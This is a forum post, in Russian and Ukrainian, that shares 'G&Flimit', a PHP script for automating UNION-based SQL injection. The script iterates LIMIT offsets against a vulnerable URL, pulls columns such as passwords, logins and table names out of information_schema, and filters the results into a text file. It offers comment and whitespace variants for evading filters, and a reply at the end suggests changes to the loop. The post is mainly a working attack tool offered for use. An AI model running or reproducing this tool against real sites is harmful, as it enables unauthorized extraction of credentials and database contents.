G&Flimit ver.1.0 Вполне есть анаголи, но хочу предуставить свой) Суть скрипта выборка полей или таблиц(при наличие Mysql>5). Для роботы достаточно заменить concat(0x2b7c,categor,0x7c2b) -> categor на нужное вам поле, ето может быть password, name, login или если ето выборка таблиц table_name, но напомню что нужно потом в url скули дописать from+information_schema.tables Как и у всех скриптов есть свои недостатки: для выборки нужно сначала узнать МАХ лимит та вписать в поле, но думаю когда будет время допишу. PHP: <? //////////////////////////////////////////// // Graber and Filters limit in sql-injection ver.1.0 // // Coder By Micr0b // // icq: 532-415 // //////////////////////////////////////////// ?> <html> <META http-equiv=Content-Type content="text/html; charset=windows-1251"> <head><title>G&Flimit</title> <style> body{ margin: 200 150; background: #666; font: normal 13px Arial, Helvetica, sans-serif; color: #666; } table,td{ border: 1px dashed #444444; background-color : #F4F4F4; font: 12px courier new; color: #888888; } input,select{ background-color: #000000; font: 8pt verdana; text-align: left; color: #669666; } </style> <body> <table> <tr> <td> <font color="green"><h2><center><u>G&Flimit</u> by Micr0b ver.1.0</center></h2></font> <form method="post"> <input type="type" name="url" value="http://coder/mysqltools/testing_injection/index.php?i=-1+union+select+1,concat(0x2b7c,categor,0x7c2b),3,4+from+categors" size="115"> <select name="limit"> <option selected value="+limit+">+limit+</option> <option value="%20limit%20">%20limit%20</option> <option value="/**/limit/**/">/**/limit/**/</option> </select> <font color="red">max(<input type="type" name="count" size="5">)</font>,1 <select name="end"> <option value="">null</option> <option selected value="/*">/*</option> <option value="--">--</option> </select> <!-- <select name="mysql5"> <option selected value="">null</option> <option value="table_name">table_name+from+information_schema.tables</option> <option value="column_name">column_name+from+information_schema.columns+where+table_name='users'</option> </select> --> <center> <input type='checkbox' onChange="if(this.checked){document.all.start.disabled=false;}else{document.all.start.disabled=true;}"> <input type="submit" name="start" disabled="disabled" value="Старт" style="cursor:pointer"> </form> <br><br> <form method="POST"> <input type="submit" name="musor" value="Очистка" style="cursor:pointer"></center> </form> </td> </tr> <tr> <td> <?php if($_POST['start']){ $limit=$_POST['limit']; $count=$_POST['count']; $url=$_POST['url']; $end=$_POST['end']; $fp=fopen("save.txt", "w"); for($i=0;$i<$count;$i++){ // скільіки разів повторювати цикл $input=@file_get_contents($url.$limit.$i.",1".$end); fwrite($fp, $input); } fclose ($fp); echo "<font color='#669666'><center>Можете відфільтрувати! <b>save.txt</b></center></font>"; } if($_POST['musor']){ $input=@file_get_contents("save.txt"); $oprede = "+|"; $oprede2 = "|+"; preg_match_all('|'.preg_quote($oprede, '/').'.*'.preg_quote($oprede2, '/').'|s',$input,$out);// |+|/.*|+/|s $sd = explode($oprede2,$out[0][0]); $cnt = count($sd); $zapis=fopen("good.txt", "a+"); for ($i=0;$i<$cnt-1;$i++) { preg_match_all('|'.preg_quote($oprede, '/').'.*|s',$sd[$i],$out1); $str = str_replace($oprede,"",$out1[0][0]); fwrite($zapis, $str."\n"); } fclose ($zapis); echo "<font color='#669666'><center>Очищено вдало. Перевірити: <a href='good.txt'><b>good.txt</b></a></center</font>"; } ?> </body> </td> </tr> </table>
Ну а почему не делать while с true и если значения между preg_match пустое не делать break? Или там значения какой то переменой флага увеличивать на 1 при пустом значении preg_match и когда оно достигнит например 5 не делать break и в while($flag=<5)?